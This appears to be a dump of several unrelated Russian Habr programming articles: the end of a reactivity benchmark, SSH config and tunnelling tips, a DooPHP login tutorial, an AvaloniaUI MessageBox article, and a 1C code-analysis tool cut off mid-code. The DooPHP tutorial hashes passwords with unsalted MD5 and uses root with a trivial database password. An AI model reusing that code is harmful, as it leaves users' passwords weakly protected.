Но оказывается самой медленной из тех, кто не завалил тесты. Всё же в реальных приложениях довольно много динамики и её становится всё больше по мере роста проекта. Так что крайне важно уметь эффективно работать в рантайме, а не полагаться на ручные оптимизации потоков данных в коде. Вот и получаем: `EFH + EFH = 6`
### Тоже своего рода менеджеры состояний
На доске позора у нас: [uSignal](https://github.com/WebReflection/usignal), [Vue](https://vuejs.org/), [LegendApp](https://legendapp.com/open-source/), [Jotai](https://jotai.org/), [S.js](https://github.com/adamhaile/S), [Redux](https://redux.js.org/) + [Relect](https://github.com/reduxjs/reselect), [Hydroxide](https://github.com/hydroxide-js/hydroxide), [RxJS](https://rxjs.dev/). Помимо просто лишней работы, замедляющей приложение, они так же выполняют и лишние побочные эффекты, что может быть источником множества багов.
#### uSignal
Библиотека грозится дать нам ультралегковесную версию реактивности из Preact и SolidJS:
Но чуда, конечно же, не произошло - анорексия сказывается на эффективности не лучшим образом: `FHJ + EFHJ = 7`
#### Vue
Фреймворк представляется нам достаточно производительным:
Тем не менее, в его основе лежит реактивная система сомнительной эффективности: `FHJ + EFHJ = 7`
#### LegendApp
Библиотека обещает нам починить React с помощью мелкозернистой реактивности, чтобы его не приходилось постоянно оптимизировать вручную:
Однако, показала она себя в два раза хуже, чем полный пересчёт графа состояний. Кажется она издевательски смеётся над нами, повторяя одни и те же вычисления несколько раз подряд: `EHE + HEHE = 7`
#### Jotai
Библиотека обещает починить React, чтобы его можно было использовать и для больших приложений:
Но показывает она почти самые худшие результаты, делая кучу лишней работы: `EFHJ + FEHJ = 8`
Обратите внимание, что она не только выполняет лишние побочные эффекты, но и производит вычисления в недетерминированном порядке, что является дополнительным источником проблем в больших проектах.
#### S.js
Библиотека обещает нам быть простой и быстрой:
Но быть эффективной на больших проектах она не обещает, так что ничего удивительного: `EFHJ + EFHJ = 8`
#### Redux + Reselect
Reselect обещает нам починить Redux, чтобы хотя бы селекторы в нём стали эффективными:
Но нам же никто не обещал максимальной эффективности, так что получаем: `EFHJ + EFHJ = 8`
#### Hydroxide
Фреймворк хвастается своей экстремальной производительностью:
Но вы только гляньте, какую дичь он творит, получая производительность меньше, чем у полного пересчёта всего графа состояний: `EFEFHJHJ + EFEFHJHJ = 16`
#### RxJS
Библиотека обещает нам улучшенную производительность относительно оригинальной библиотеки:
И показала наихудшую производительность, на порядок отстав от лидера, и в два раза от полного пересчёта. Всё дело в том, что, вместо оптимизации потоков данных, она тупо пересчитывает весь граф состояний обходя его в глубину по всем возможным путям: `HEEEHFHEEHFF + HEEEHFHJHEHEHHFHJF = 30`
Сухой остаток
-------------
Самые неэффективные технологии зачастую хвастаются своей максимальной производительностью. На микробенчмарках с полным пересчётом всех состояний самое тупое решение легко может показаться самым быстрым. Но эти спринтеры не способны пробежать марафон, падая на обочину уже с тривиальных тестов корректности применения побочных эффектов. Разработчики ищут ключи там, где светло (оптимизации кода), а не там, где их потеряли (оптимизации архитектуры). Для лучшего понимания ключевых проблем в реактивных архитектурах, лучше глянуть мою давнюю лекцию: [Main Aspects of Reactivity](https://page.hyoo.ru/#!=2xsr05_hu0zzh)
Настоящий ужас вызывает то, насколько кривые системы реактивности лежат в основе так называемой *большой тройки* самых популярных веб-фреймворков: React, починить который не пытался только ленивый; Angular, на полном серьёзе предлагающий использовать RxJS; Vue, дёргающий побочные эффекты по поводу и без. Как мы до этого докатились, я рассказывал недавно в выступлении: [Как программисты дурят бизнес?](https://page.hyoo.ru/#!=swfl3g_y3okjr)
Если вы хотите добавить ещё какой-то менеджер состояний к сравнению, или обнаружили недостаток в существующем коде, или хотите присоединиться к полузакрытому тихому чату разработчиков js-библиотек, то пишите телеграммы [nin\_jin](https://t.me/nin_jin).
Текст статьи подготовлен в [$hyoo\_page](https://page.hyoo.ru/#!=3ia3ll_rcpl7b).
 | https://habr.com/ru/post/707600/ | null | ru | null |
# Пара хитростей ssh
Пара хитростей которые я использую при работе с ssh
Если у вас на машине Linux и вам часто приходится ходить по ssh на разные хосты, то будет полезен небольшой трюк позволяющий не вводить пароль если вы в новом окне соединяетесь с хостом с которым уже есть соединение:
`vi ~/.ssh/config`
добавляем строки
`host *
controlmaster auto
controlpath /tmp/ssh-%r@%h:%p`
В данном случае «host \*» означает что этот трюк будет применяться ко всем хостам. Если хотите то можно менять маску по Вашему усмотрению.
Так же частенько бывает ситуация когда нужно соединить 2 машины находящиеся в разных сетях. Например одна машина использует для тестов базу которая находится на сервере в другой сети разделённой интернетом. В таких случаях очень удобно использовать ssh туннели.
ssh -p22 -2 -N -C -f -L 6632:192.168.100.72:66320 tunnel@88.88.88.88
в данном случае
6632 — порт на локальной машине к которому коннектиться чтобы попасть на порт машины в удалённой сети.
192.168.100.72:66320 — ИП адрес и порт машины в удалённой сети.
tunnel@88.88.88.88 — имя пользователя и ИП адрес сервера который находится в удалённой сети и смотрит в интернет через него мы собственно и прокидываем туннель.
Надеюсь это будет полезно. | https://habr.com/ru/post/39277/ | null | ru | null |
# Создания приложения на Doophp 1.5
Я был очень огорчён что не нашёл на хабре подобной теоретической статьи. И так имеется DooPHP версии 1.5 которая была выпущена 6 октября 2013 года. На официальном сайте переведены такие графики производительности
Также на хабре имеется статья по поводу производительности [ссылка](http://habrahabr.ru/post/69744/).
Разработка простой формы логинизации под катом.
Итак, имеем OpenServer:
С такой конфигурацией:
Также на офф сайте [DooPHP](http://doophp.com/) ссылки на файлы фреймворка были не рабочими, с помощью гугла я нашёл версию 1.5 [тут](https://code.google.com/p/doophp/downloads/list).
##### Приступим:
В корневую директорию сайта (у меня это C:\web\OpenServer\domains\doophp) распаковываем всё содержимое из архива в папке «app», также туда же папку «dooframework». Имеем следующую структуру:
Разбираемся по подробнее что к чему:
«dooframework» — все файлы самого фреймворка.
«global» — хранилище файлов сайта (css,js,img,swf).
«protected» — php файлы вашего приложения (файлы конфигурация, контролер, модель, отображения, доп. модули).
«tools» — доп. утилиты и инструменты.
Настраиваем наше приложение:
Редактируем файл настроек (C:\web\OpenServer\domains\doophp\protected\config\common.conf.php)
задаём пути к папке с файлами фреймворка и нашего приложения:
```
$config['SITE_PATH'] = '/';
$config['BASE_PATH'] = '/dooframework/';
```
в `$config['SITE_PATH'] = '/';` нужно указать полный путь и закончить символом '/' (C:\\web\..../).
также можем настроить какие ошибки выводить и временную зону:
```
error_reporting(E_ALL | E_STRICT);
date_default_timezone_set('Asia/Kuala_Lumpur');
```
Переходи в наш веб-браузер заходим по нашему адресу и видим:
Страницу приветствия фреймворка.
##### Настройка Базы Данных:
Создадим таблицу (User) c полями:
id
username
password
name
```
CREATE TABLE `test`.`User` (
`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` CHAR( 32 ) NOT NULL ,
`name` VARCHAR( 40 ) NOT NULL
);
```
Теперь нам нужно подключить БД к фреймворку, делаем это в файле C:\web\OpenServer\domains\doophp\protected\config\db.conf.php
раскомментируем и настраиваем строчку:
```
$dbconfig['dev'] = array('localhost', 'database', 'root', '1234', 'mysql', true);
```
так же нужно настроить роутинг для этого в корне раскомментируем .htaccess и в файл
C:\web\OpenServer\domains\doophp\protected\config\routes.conf.php
Добавим:
```
$route['*']['/login'] = array('LoginController', 'index');
```
##### Контроллер:
В папке C:\web\OpenServer\domains\doophp\protected\controller создаём новый файл LoginController.php
В нём пишим:
```
php
class LoginController extends DooController {//Создаём класс LoginController наследуем DooController
protected $data = array();
/* This function is called by DooPHP before we run an action */
public function beforeRun($resouce, $action) {
// Get the sites base url i.e. http://localhost/ (includes the / at the end)
$this-data['app_url'] = Doo::conf()->APP_URL;
}
public function index() {
$this->data['pagetitle'] = 'login';
$this->view()->render('login',$this->data);//Отрисовываем форму
}
}
?>
```
##### Отображение:
В папке C:\web\OpenServer\domains\doophp\protected\view создаём файл login.html с содержимым:
```
To Doo List Manager :: {{pagetitle}}
To Doo List Manager :: {{pagetitle}}
====================================
Please Login
Username
Password
Error: {{errorMsg}}
```
P.S. при рендере у меня выскочила ошибка мол такой файл не найден в папке viewc, я так понимаю это кэш, но вместо файла login.php в этой самое папке место фала создалась папка login.php я думаю это либо из версии PHP так как у меня она 5.3.\*, а требуется по документации 5.1.\*. Я создал пустой файл login.php ошибка пропала.
##### Модель
В папке C:\web\OpenServer\domains\doophp\protected\model создаём файл и заполняем его
```
Doo::loadCore('db/DooModel');
class User extends DooModel {
public $id;
public $username;
public $password;
public $name;
public $_table = 'user';
public $_primarykey = 'id';
public $_fields = array('id', 'username', 'password', 'name');
public function get_user(){
if(!$this->username or !$this->password){
return array('errorMsg'=>"At least one field was empty");
}else{
$a=Doo::db()->find( $this, array('limit'=>1));
if($a){
return true;
}else return array('errorMsg'=>"no user or wrong pass");
}
}
function __construct(){
parent::$className = __CLASS__;
}
}
```
После этого в роутинг добавляем запись чтобы POST запрос уходил в нужный нам метод, в файле routes.conf.php
добавим строку
```
$route['post']['/login'] = array('LoginController', 'login');
```
В отображения добавим файл приветствия для пользователя который прошёл логинизацию
в паке «view» создадим файл success.html запишем в него
```
Success!
========
```
В контроллер добавим функцию проверки:
```
public function login() {
$this->data['pagetitle'] = 'login';
Doo::loadModel('User');
$u = new User;
$u->username=$_POST['txt_username'];
$u->password=md5($_POST['txt_password']);
$ab=$u->get_user();
if(isset($ab['errorMsg'])){
$this->data['errorMsg']=$ab['errorMsg'];
$this->view()->render('login',$this->data);
}else{
$this->view()->render('success');
}
}
```
##### Проверяем работоспособность:
Вводим пустые поля видим ошибку.
Вводим заведомо не правильны пароль видим ошибку.
Вводим правильны логин и пароль видим форму приветствия.
##### Выводы
При разработке этого мини задания не трудны было найти документацию и примеры, но при более трудных задачах комьюнити очень будет не хватать. Также многие вещи в более популярных фреймворках реализованы автоматически. Разрабатывать что либо на данном продукте или выбрать более популярные фреймворки с более полной документацией и комьюнити решать вам.
Проект на Github: <https://github.com/izac1/DoophpSimpleApp.git> | https://habr.com/ru/post/216251/ | null | ru | null |
# AvaloniaUI: особенности на примере MessageBox
Avalonia ui — восхитительный фреймворк, к которому хочется возвращаться снова и снова. Так давайте же вернемся к нему еще раз и рассмотрим некоторые особенности вместе с моим message box.
**Кто же такая Авалония**
[Avalonia](http://avaloniaui.net/) — это кросплатформенный фреймворк, позволяющий разрабатывать графические интерфейсы на всех актуальных платформах.
По своей структуре он невероятно близок к wpf: похожий xaml, похожие биндинги. Даже есть официальный [туториал](http://avaloniaui.net/docs/quickstart/from-wpf) для разработчиков wpf.
Примечательна же авалония тем, что на каждой из систем она обращается к родным интерфейсам: Win32, MonoMac, X11…
**Что же появилось в обновленной версии** 1. Поддержка 13 различных иконок сообщений.
2. Возможность копирования тела сообщения при помощи комбинации клавиш Cntrl+C.
3. Подстраивание размера окна под его содержимое.
4. Упрощенная система стилей, что позволяет желающим легко включится в разработку и поддержку новых.
5. Замена TextBlock на TextBox, теперь текст в окне можно выделять.
6. Полностью переработана сама архитектура.
С документацией можно ознакомится на [gitlab](https://gitlab.com/maindlab/messagebox.avalonia).
Сам же пакет можно скачать с [nuget](https://www.nuget.org/packages/MessageBox.Avalonia/).
### Поговорим же про особенности и фишки avalonia
Очевидно, что если будут сравнения, то сравниваться будет с wpf.
Первое, что бросается в глаза после фреймворков от ms, это возможность биндить команды к методам. Да, функционально это дает меньше возможностей, но в ответ упрощает подход к разработке view model.
```
Do the thing!
```
```
public void RunTheThing(string parameter)
{
// Code for executing the command here.
}
```
Также Авалония построена с помощью реактивных расширений, что позволяет работать с событиями фреймворка как с объектами первого класса с помощью декларативного синтаксиса запросов LINQ — позволяя писать лаконичный и читаемый код.
Но уходя чуть вглубь, все становится не столь радужно и очевидно, да и документация пока что еще не доведена до ума (но вы можете помочь).
### Биндинг к image
Проблема, с которой я встретился почти сразу же при обновлении своего проекта,- как отобразить изображения на моем окне.
Для начала стоит нужно зарегистрировать директорию с изображениями как ресурс авалонии, ведь важно, чтобы иконки отобразились у любого пользователя и удобно упаковывались вместе со всем кодом.
```
...
```
Теперь в тэге image можно легко устанавливать выбранное изображение.
Но при использовании vm Source изображения нельзя просто прибиндить к string, а необходимо использовать Bitmap.
```
public Bitmap ImagePath { get; private set; }
```
И соответсвенно теперь нужно извлечь наше изображение из ресурсов. Для чего нужно использовать локатор авалонии.
```
ImagePath = new Bitmap(AvaloniaLocator.Current.GetService()
.Open(new Uri($" avares://ASSEMBLYNAME/relative/project/path/{ImageName}.ico")));
```
Стоит отметить, что для embedded ресурсов при составлении uri используется приставка **resm://**, а для avalonia — **avares://**.
### Рисование
Фигуры в avalonia и wpf схожи, но публичные свойства отличаюся. Поэтому, скачивая svg изображения и преобразуя с помощью inskape их в ms xaml, ими нельзя было сразу воспьзоваться.
Произвольная фигура
Превращается в:
А линия:
Превращается в:
### Стили
Про сами стили достаточно сказано в [документации](http://www.avaloniaui.net/docs/styles/). Стоит лишь отметить, что это привычные стили с небольшой примесью css. Я же хотел показать, как применить стиль из отдельного файла. Во-первых все xaml файлы должны являться ресурсами авалонии.
```
Designer
.....
```
Во-вторых, стили применяются так же, как и ресурсы изображений при помощи uri и локатора.
```
YourControl.Styles.Add(new StyleInclude(new Uri("avares://ASSEMBLYNAME/relative/project/path.xaml")){Source = new Uri("avares://ASSEMBLYNAME/relative/project/path.xaml")});
```
### Приятные мелочи
У TextBox присутствует свойство Watermark. Что позволяет не искать сторонние пакеты и не городить TextBlock поверх TextBox, что можно прочитать во многих туториалах для wpf.
А также весь биндинг по умолчанию использует PropertyChanged для триггера обновления связанного свойства.
### В заключение
Предлагаю всем попробовать этот интересный фреймворк. Выражаю благодарность пользователям [Artyom Gorchakov](https://habr.com/ru/users/worldbeater/) и [Никита Цуканов](https://habr.com/ru/users/kekekeks/).
И напоминаю, что у avalonia есть уютная и восхитительная поддержка в [Gitter](https://gitter.im/AvaloniaUI/Avalonia). | https://habr.com/ru/post/455896/ | null | ru | null |
# Генератор документации средствами встроенного языка 1С: Предприятие 8.3.10
Добрый день!Пару недель назад почитал форумы и подготовил универсальную обработку на встроенном языке 1С анализирующую исходный код любых отчетов и обработок «1С: Предприятие 8». Вызван анализ исходного кода был появлением продаж на моей домашней страничке. Попытки написать в ручную документации для нескольких тысяч файлов успеха не имели.**Шаг первый:**— Создать таблицы для анализа исходного кода одного модуля (для отладки шаблона):
---------------------------------------------------------------------------------
— Создать макет для вывода функционала исходного кода одного модуля в документацию:
-----------------------------------------------------------------------------------
— Создать процедуры для анализа исходного кода одного модуля:
-------------------------------------------------------------
```
&НаКлиенте
Процедура ЗаполнитьКодМодуля()
ИмяФайлаПриИзменении("");
Текст=Новый ТекстовыйДокумент;
Текст.Прочитать(ИмяФайла);
КодМодуля.Очистить();
Для н=1 по Текст.КоличествоСтрок() Цикл
Стр=Текст.ПолучитьСтроку(н);
СтрКодаМодуля=КодМодуля.Добавить();
СтрКодаМодуля.Стр=Стр;
СтрКодаМодуля.НомерСтроки=н;
КонецЦикла;
КонецПроцедуры
&НаКлиенте
Процедура ЗаполнитьОператоры()
Перем СтрОператора;
Операторы.Очистить();
Для каждого СтрКодаМодуля из КодМодуля Цикл
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"Процедура")<>0 Тогда
Попытка
СтрОператора.НомерСтрокиОкончания=СтрКодаМодуля.НомерСтроки-4;
Исключение
КонецПопытки;
СтрОператора=Операторы.Добавить();
М=СтрРазделить(СтрКодаМодуля.Стр,"(");
М1=СтрРазделить(М.Получить(0)," ");
СтрОператора.Оператор=М1.Получить(1);
СтрОператора.НомерСтрокиНачала=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"Функция")<>0 Тогда
Попытка
СтрОператора.НомерСтрокиОкончания=СтрКодаМодуля.НомерСтроки-4;
Исключение
КонецПопытки;
СтрОператора=Операторы.Добавить();
М=СтрРазделить(СтрКодаМодуля.Стр,"(");
М1=СтрРазделить(М.Получить(0)," ");
СтрОператора.Оператор=М1.Получить(1);
СтрОператора.НомерСтрокиНачала=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
КонецЦикла;
СтрОператора.НомерСтрокиОкончания=КодМодуля.Количество()-2;
КонецПроцедуры
&НаКлиенте
Процедура ЗаполнитьТаблицыОператоров()
Для каждого СтрОператора из Операторы Цикл
Для н=СтрОператора.НомерСтрокиНачала по СтрОператора.НомерСтрокиОкончания Цикл
СтрКодаМодуля=КодМодуля.Получить(н);
СтрКодаОператора=СтрОператора.КодОператора.Добавить();
СтрКодаОператора.Стр=СтрКодаМодуля.Стр;
СтрКодаОператора.НомерСтроки=СтрКодаМодуля.НомерСтроки;
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"Справочник")<>0 Тогда
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"Найти")<>0 Тогда
М=СтрРазделить(СтрКодаМодуля.Стр,".");
Для ном=0 по М.Количество()-1 Цикл
Если ном+1<М.Количество() Тогда
Если Лев(М.Получить(ном+1),5)="Найти" Тогда
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",М.Получить(ном)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=М.Получить(ном);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Справочник "+М.Получить(ном);
М1=СтрРазделить(СтрКодаМодуля.Стр,"=");
Если СтрЧислоВхождений(М1.Получить(0),".")=0 Тогда
ТаблицаИспользуемаяОператором.Переменная=СокрЛП(М1.Получить(0));
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЦикла;
М1=СтрРазделить(СтрКодаМодуля.Стр,"()");
Если М1.Количество()<=5 Тогда
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"Сокр")=0 Тогда
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"НайтиПоКоду")<>0 Тогда
Если СтрЧислоВхождений(М1.Получить(1),"НайтиПоКоду")<>0 Тогда
Масс=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.НайтиСтроки(Новый Структура("Условие","Код="+М1.Получить(2)));
Если Масс.Количество()=0 Тогда
УсловияПоТаблицеОператора=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.Добавить();
УсловияПоТаблицеОператора.Условие="Код="+М1.Получить(2);
УсловияПоТаблицеОператора.НомерСтроки=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
Иначе
Масс=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.НайтиСтроки(Новый Структура("Условие","Код="+М1.Получить(1)));
Если Масс.Количество()=0 Тогда
УсловияПоТаблицеОператора=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.Добавить();
УсловияПоТаблицеОператора.Условие="Код="+М1.Получить(1);
УсловияПоТаблицеОператора.НомерСтроки=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
КонецЕсли;
Иначе
Масс=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.НайтиСтроки(Новый Структура("Условие","Наименование="+М1.Получить(1)));
Если Масс.Количество()=0 Тогда
УсловияПоТаблицеОператора=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.Добавить();
УсловияПоТаблицеОператора.Условие="Наименование="+М1.Получить(1);
УсловияПоТаблицеОператора.НомерСтроки=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
КонецЕсли;
Иначе
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"НайтиПоКоду")<>0 Тогда
Масс=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.НайтиСтроки(Новый Структура("Условие","Код="+М1.Получить(2)));
Если Масс.Количество()=0 Тогда
УсловияПоТаблицеОператора=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.Добавить();
УсловияПоТаблицеОператора.Условие="Код="+М1.Получить(2);
УсловияПоТаблицеОператора.НомерСтроки=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
Иначе
Масс=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.НайтиСтроки(Новый Структура("Условие","Наименование="+М1.Получить(2)));
Если Масс.Количество()=0 Тогда
УсловияПоТаблицеОператора=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.Добавить();
УсловияПоТаблицеОператора.Условие="Наименование="+М1.Получить(2);
УсловияПоТаблицеОператора.НомерСтроки=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
КонецЕсли;
КонецЕсли;
Иначе
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"НайтиПоКоду")<>0 Тогда
Масс=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.НайтиСтроки(Новый Структура("Условие","Код="+М1.Получить(М1.Количество()-3)));
Если Масс.Количество()=0 Тогда
УсловияПоТаблицеОператора=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.Добавить();
УсловияПоТаблицеОператора.Условие="Код="+М1.Получить(М1.Количество()-3);
УсловияПоТаблицеОператора.НомерСтроки=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
Иначе
Масс=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.НайтиСтроки(Новый Структура("Условие","Наименование="+М1.Получить(М1.Количество()-3)));
Если Масс.Количество()=0 Тогда
УсловияПоТаблицеОператора=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.Добавить();
УсловияПоТаблицеОператора.Условие="Наименование="+М1.Получить(М1.Количество()-3);
УсловияПоТаблицеОператора.НомерСтроки=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"|")<>0 Тогда
М=СтрРазделить(СтрКодаМодуля.Стр,".");
Если СтрЧислоВхождений(М.Получить(М.Количество()-1)," КАК ")<>0 Тогда
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",Сред(М.Получить(М.Количество()-1),1,СтрДлина(М.Получить(М.Количество()-1))-Найти(М.Получить(М.Количество()-1)," КАК ")-4)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=Сред(М.Получить(М.Количество()-1),1,СтрДлина(М.Получить(М.Количество()-1))-Найти(М.Получить(М.Количество()-1)," КАК ")-4);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Справочник "+Сред(М.Получить(М.Количество()-1),1,СтрДлина(М.Получить(М.Количество()-1))-Найти(М.Получить(М.Количество()-1)," КАК ")-4);
М1=СтрРазделить(М.Получить(М.Количество()-1)," КАК ");
ТаблицаИспользуемаяОператором.Переменная=М1.Получить(М1.Количество()-1);
КонецЕсли;
Иначе
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",М.Получить(М.Количество()-1)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=М.Получить(М.Количество()-1);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Справочник "+М.Получить(М.Количество()-1);
М1=СтрРазделить(СтрКодаМодуля.Стр,"=");
Если СтрЧислоВхождений(М1.Получить(0),".")=0 Тогда
ТаблицаИспользуемаяОператором.Переменная=СокрЛП(М1.Получить(0));
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"Object")<>0 Тогда
М=СтрРазделить(СтрКодаМодуля.Стр,Символ(34));
М1=СтрРазделить(М.Получить(1),".");
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",М1.Получить(1)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=М1.Получить(1);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Справочник в подключаемой базе "+М1.Получить(1);
М2=СтрРазделить(СтрКодаМодуля.Стр,"=");
Если СтрЧислоВхождений(М2.Получить(0),".")=0 Тогда
ТаблицаИспользуемаяОператором.Переменная=СокрЛП(М2.Получить(0));
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"Документы.")<>0 Тогда
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"Найти")<>0 Тогда
М=СтрРазделить(СтрКодаМодуля.Стр,".");
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",М.Получить(1)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=М.Получить(1);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Документ "+М.Получить(1);
М1=СтрРазделить(СтрКодаМодуля.Стр,"=");
Если СтрЧислоВхождений(М1.Получить(0),".")=0 Тогда
ТаблицаИспользуемаяОператором.Переменная=СокрЛП(М1.Получить(0));
КонецЕсли;
КонецЕсли;
М1=СтрРазделить(СтрКодаМодуля.Стр,"()");
М2=СтрРазделить(М1.Получить(1),",");
Масс=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.НайтиСтроки(Новый Структура("Условие","Номер="+М2.Получить(0)));
Если Масс.Количество()=0 Тогда
УсловияПоТаблицеОператора=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.Добавить();
УсловияПоТаблицеОператора.Условие="Номер="+М2.Получить(0);
УсловияПоТаблицеОператора.НомерСтроки=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
Масс=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.НайтиСтроки(Новый Структура("Условие","Дата="+М2.Получить(1)));
Если Масс.Количество()=0 Тогда
УсловияПоТаблицеОператора=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.Добавить();
УсловияПоТаблицеОператора.Условие="Дата="+М2.Получить(1);
УсловияПоТаблицеОператора.НомерСтроки=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
КонецЕсли;
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"|")<>0 Тогда
М=СтрРазделить(СтрКодаМодуля.Стр,".");
Если СтрЧислоВхождений(М.Получить(М.Количество()-1)," КАК ")<>0 Тогда
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",Сред(М.Получить(М.Количество()-1),1,СтрДлина(М.Получить(М.Количество()-1))-Найти(М.Получить(М.Количество()-1)," КАК ")-4)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=Сред(М.Получить(М.Количество()-1),1,СтрДлина(М.Получить(М.Количество()-1))-Найти(М.Получить(М.Количество()-1)," КАК ")-4);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Документ "+Сред(М.Получить(М.Количество()-1),1,СтрДлина(М.Получить(М.Количество()-1))-Найти(М.Получить(М.Количество()-1)," КАК ")-4);
М1=СтрРазделить(СтрКодаМодуля.Стр,"=");
Если СтрЧислоВхождений(М1.Получить(0),".")=0 Тогда
ТаблицаИспользуемаяОператором.Переменная=СокрЛП(М1.Получить(0));
КонецЕсли;
КонецЕсли;
Иначе
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",М.Получить(М.Количество()-1)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=М.Получить(М.Количество()-1);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Документ "+М.Получить(М.Количество()-1);
М1=СтрРазделить(СтрКодаМодуля.Стр,"=");
Если СтрЧислоВхождений(М1.Получить(0),".")=0 Тогда
ТаблицаИспользуемаяОператором.Переменная=СокрЛП(М1.Получить(0));
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"Object")<>0 Тогда
М=СтрРазделить(СтрКодаМодуля.Стр,Символ(34));
М1=СтрРазделить(М.Получить(1),".");
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",М1.Получить(1)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=М1.Получить(1);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Документ в подключаемой базе "+М1.Получить(1);
М2=СтрРазделить(СтрКодаМодуля.Стр,"=");
Если СтрЧислоВхождений(М2.Получить(0),".")=0 Тогда
ТаблицаИспользуемаяОператором.Переменная=СокрЛП(М2.Получить(0));
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"Регистр")<>0 Тогда
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"СоздатьМенеджер")<>0 Тогда
